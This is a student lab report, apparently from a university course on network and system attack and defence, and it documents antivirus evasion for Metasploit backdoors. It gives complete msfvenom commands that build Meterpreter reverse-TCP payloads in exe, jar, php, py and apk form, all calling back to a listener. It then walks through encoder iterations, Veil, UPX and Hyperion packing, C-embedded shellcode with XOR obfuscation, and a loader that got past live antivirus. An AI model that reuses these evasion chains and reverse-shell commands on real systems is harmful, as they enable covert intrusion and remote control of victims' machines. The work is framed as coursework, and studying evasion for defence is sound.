20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验要求

  • 掌握免杀原理与技术

  • 回答问题

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测:杀毒软件会维护一个病毒库,里面包含了大量已知恶意软件的特征码(通常是一段唯一的字节序列)。当扫描文件时,如果发现文件中包含与病毒库中相匹配的特征码,就会将其标记为恶意代码。
    • 启发式恶意软件检测:这种方法不依赖于特定的特征码,而是通过分析程序的行为、代码结构等特征来判断其是否具有恶意性。如果一个程序的行为或代码结构与已知的恶意软件相似,就会被判定为恶意代码。
    • 基于行为的检测:这种检测方式侧重于监控程序的运行时行为,如文件操作、注册表修改、网络连接等。如果程序表现出可疑的行为,如未经授权的文件访问或修改,就会被标记为恶意代码。

    (2)免杀是做什么?

    • 免杀,是一种使恶意软件能够逃避杀毒软件检测的技术。它通过各种手段改变恶意软件的代码或行为,使其不再符合杀毒软件的检测标准,从而避免被查杀。

    (3)免杀的基本方法有哪些?

    • 修改特征码:通过改变恶意软件中的特定字节序列(特征码),使其不再与杀毒软件的病毒库中的记录相匹配。
    • 加壳:给恶意软件加上一个外壳,使其在运行时先执行外壳代码,再执行恶意代码。这样,杀毒软件就很难直接检测到恶意代码的存在。
    • 编码和加密:对恶意代码进行编码或加密,使其在静态分析时难以被识别。只有在运行时才会解密并执行。
    • 混淆和伪装:通过添加垃圾代码、改变程序结构等方式,使恶意软件的代码变得难以理解,从而增加杀毒软件的检测难度。
    • 利用漏洞:利用操作系统或应用程序的漏洞来执行恶意代码,这些漏洞可能尚未被杀毒软件所知晓或无法有效防御。
    • 社工攻击:通过社会工程学手段诱骗用户关闭杀毒软件或执行恶意软件。

3.实验过程

3.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

3.1.1 使用msf工具生成.exe后门程序

使用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_1.exe

生成后门程序,如下。

将生成的后门程序放入virustotal进行评估,查看免杀效果,如下。

可以看到,免杀效果为58/71,以此为基准,与后续进行免杀处理后的文件进行对比
使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_2.exe

  • -e x86/shikata_ga_nai: 使用 Shikata Ga Nai 编码器对生成的有效载荷进行编码,以提高其绕过防病毒软件的能力。Shikata Ga Nai 是一种多态性编码技术。
  • -b '\x00': 指定需要避免的字节序列,这里表示避免包含空字节(\x00)。这通常用于确保生成的代码在某些环境中能够正确执行。

执行指令如下

进行免杀效果检测,如下。

可以看到被检出的概率为59/71,相比之下,差距不大,由此看以看出,该种加密方式,在现如今效果并不浩。

尝试,对后门程序多次编码,进行测试。指令如下。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_3.exe

此处,使用-i 12表示对其进行12此编码。

再次,检测免杀效果,如下。

可以看到,此时被检出的概率依旧为59/71,由此可以看出,对于多次编码的技术,现阶段已有完善的的防御手段。

3.1.2 使用msf工具生成其他格式后门程序

分别使用指令,生成.jar文件、.php文件、.py文件以及.apk文件作为后门程序,用以测试不同格式下的免杀效果。具体情况如下。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f jar > 20222412.jar

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.php

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f py > 20222412.py

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.apk

综合以上所有文件格式查杀效果,可以看出,不同格式文件对查杀效果有显著影响,其中.py格式的文件免杀效果最好。

3.1.3 使用veil工具生成后门程序

配置veil,使用以下指令即可安装veil,并配置所需环境

sudo apt -y install veil

usr/share/veil/config/setup.sh --force --silent

进入veil工具界面,使用指令use 1,输入list查看载荷c/meterpreter/rev_tcp对应序号为7.

使用指令use 7,选择载荷c/meterpreter/rev_tcp,并设置接口与ip地址。输入generate生成后门程序如下。

设置完成文件名,可以看到文件所在路径如下。

对该文件进行免杀效果测试,如下。

可以看到,查杀率为44/72,相比于使用msf工具生成的后门程序,查杀概论更低了。

3.1.4 使用加壳的方式实现免杀

使用指令

upx 20222412_1.exe -o 20222412_upx.exe

实现对该文件的压缩加壳。

可以看到查杀率为54/71,相较于未加压缩壳时,提升较小。

使用以下指令对该文件使用加密壳。

将待加密文件放到工作目录下

cp 20222412_1.exe /usr/share/windows-resources/hyperion/

进入工作目录

cd /usr/share/windows-resources/hyperion/

加密文件
wine hyperion.exe -v 20222412_1.exe 20222412_hyp.exe

进行免杀检测,如下。

可以看到相较于压缩壳,加密壳更加难以查杀,但仍然无法有效的免杀。

3.1.5采用 C+shellcode来试图实现免杀

输入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f c

获取shellcode编码。

使用vi编译器编译文件20222412_c.c,并将生成的shellcode插入该文件。

输入

gcc 20222412_c.c -o 20222412_c.exe

将编译生成的20222411_c.exe文件并传至主机

对该文件进行免杀效果检测。

可以看到使用该项技术可以明显提升免杀成功的概率。

3.2 通过组合应用各种技术实现恶意代码免杀

经查阅多方资料,结合多篇文章,先采用如下免杀技术,用于躲避火绒的查杀。

在使用c和shellcode编码的基础上增加异或操作,具体操作如下。

将msf生成的后门使用如下c程序进行异或操作,编译运行后,将异或后的代码存入202222412_shellcode.txt文件。

可以看到异或后的代码如下。

将异或后的代码插入c程序并编译。

该后门程序上传至VirusTotal检测,可以看到此程序效果极佳。

使用查杀软件查杀,如下。

但是存在一个问题,传输的文件无法运行,进而无法使用该后门进行攻击。

3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

同上述步骤,生成一个可执行的后门程序,此处我生成了一个raw格式文件,并导入对应shellcode

这里存在一个问题需要使用工具才能成功运行shellcode_launcher

运行后可以看到msf工具成功与被攻击电脑连接。

4.问题及解决方案

  • 问题:上传到被攻击主机上的绝大多数通过加密后的文件都无法正常运行
  • 问题解决方案:通过查阅资料,可以使用shellcode_launcher工具加载和执行Shellcode的软件或代码片段。

5.学习感悟、思考等

在这次实验中,我深入学习并实践了多种免杀技术,包括使用MSF编码器、Veil-Evasion以及自行编写Shellcode等方法。通过这些工具和技术的组合应用,我成功地实现了恶意代码的免杀效果。在此过程中,我有以下几点心得体会。

在尝试各种免杀技术之前,深入理解每种技术的工作原理是非常重要的。例如,了解特征码是如何被杀毒软件识别的,以及如何通过修改特征码来绕过检测。

理论知识需要通过实际操作来验证。在实验中,我发现有些理论上可行的方法在实践中并不总是有效,这要求我们不断尝试和调整策略。

单一的免杀技术往往容易被杀毒软件识破,而将多种技术组合起来使用则能显著提高免杀成功率。例如,先对Shellcode进行编码处理,再加上壳,最后通过混淆技术进一步伪装。

随着杀毒软件的不断升级,免杀技术也需要不断更新。保持对最新安全动态的关注,及时学习和掌握新的免杀技巧是必要的。

本次使用中第二个任务尤为艰难,因为,我们所使用的是最基本的后门程序生成工具,msf中的绝大多数特征码已经被现代的杀毒软件获取,尤其是加壳,可以从实验中看到,加壳后的文件反而更容易被发现。我所使用的异或操作其实本质上就是改变甚至消除特征码,除我所使用的方法,还有几种思路值得尝试,例如花指令等,但究其根本就是让杀毒软件认不出你的shellcode。

不过上述方法还存在缺陷,对于基于沙盒的免杀技术就比较难以实现,我认为解决思路可以增加任务触发shellcode,但不能是使用例如开机自启动这种比较容易发现的任务。

posted @ 2024-10-30 18:38  wwwwyg  阅读(9)  评论(0编辑  收藏  举报